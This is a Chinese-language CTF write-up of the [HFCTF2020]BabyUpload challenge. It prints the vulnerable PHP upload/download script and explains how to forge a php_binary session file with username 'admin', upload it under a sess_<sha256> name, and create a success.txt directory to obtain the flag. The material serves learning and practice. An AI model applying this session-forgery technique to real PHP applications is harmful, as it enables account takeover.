刷题笔记:[HFCTF2020]BabyUpload


前言

关键字:[file_exists|postman|文件上传|session]

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if ($_SESSION['username'] === 'admin') {
    $filename = '/var/babyctf/success.txt';
    if (file_exists($filename)) {
        safe_delete($filename);
        die($flag);
    }
} else {
    $_SESSION['username'] = 'guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/" . $attr;
if ($attr === "private") {
    $dir_path .= "/" . $_SESSION['username'];
}
if ($direction === "upload") {
    try {
        if (!is_uploaded_file($_FILES['up_file']['tmp_name'])) {
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path . "/" . $_FILES['up_file']['name'];
        $file_path .= "_" . hash_file("sha256", $_FILES['up_file']['tmp_name']);
        if (preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)) {
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if (move_uploaded_file($_FILES['up_file']['tmp_name'], $file_path)) {
            $upload_result = "uploaded";
        } else {
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try {
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path . "/" . $filename;
        if (preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)) {
            throw new RuntimeException('invalid file path');
        }
        if (!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: ' . filesize($file_path));
        header('Content-Disposition: attachment; filename="' . substr($filename, 0, -65) . '"');
        if (readfile($file_path)) {
            $download_result = "downloaded";
        } else {
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}

题解

显然,只要让session为admin就能拿到flag。

先测试了下上传,没有反馈,奇怪。

再试试下载

php的session默认存储文件名是sess_+PHPSESSID的值

session保存路径和上传路径一致,所以可以直接上传自己构造的session。

direction=download&filename=sess_d7bd37299f06fbba3ab39c8a8008aad2

根据之前做的一道题里的关于php系列化引擎知识点刷题笔记:bestphp’s revenge

php_binary引擎:键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值

可知这用的是php_binary引擎

<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("D:\\phpstudy_pro\\WWW\\localhost");
session_start();

$_SESSION['username'] = 'admin';

生成后,把文件名改为sess,用hash_file()函数计算下

432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

这样,按照这两行代码,上传的文件名就是sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

上传需要BODY参数,所以拿postman整吧

再试试有没有上传成功。

direction=download&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

然后还需要验证success.txt

先查查file_exists()有没有漏洞,百度到可以/file/**/../checkfile这样利用,可惜在这用不上。

file_exists()函数检查文件或目录是否存在。

该函数是检查文件或目录,所以利用attr上传个success.txt文件夹即可。

上传后把cookie里的PHPSESSID改为432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4即可拿到flag。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录